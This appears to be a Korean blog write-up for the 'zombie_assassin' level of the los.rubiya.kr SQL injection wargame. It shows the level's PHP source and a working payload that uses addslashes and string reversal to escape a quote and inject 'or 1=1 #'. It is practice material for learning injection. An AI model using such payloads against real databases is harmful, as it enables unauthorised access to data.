웹찢남

Zombie_assassin-writeup 본문

WEB_HACKING/los.rubiya.kr

Zombie_assassin-writeup

harry595 2019. 12. 28. 14:30

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();
  
$_GET['id'] = strrev(addslashes($_GET['id']));
  
$_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>

 

strrev 와 addslashes가 들어있다

다뒤집어서 값을 넣으면 되는데

addslashes떄문에 특수문자를 사용해 pw뒤의 첫'를 씹어서

id='xxxxx' or 1=1 # 가 쿼리로 던져지게 만들자

 

id="&pw=%20%23%201=1%20ro%20

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Xavis-writeup  (0) 2019.12.28
Nightmare-writeup  (0) 2019.12.28
Succubus-writeup  (0) 2019.12.28
Assassin-writeup  (0) 2019.12.27
Giant-writeup  (0) 2019.12.27
Comments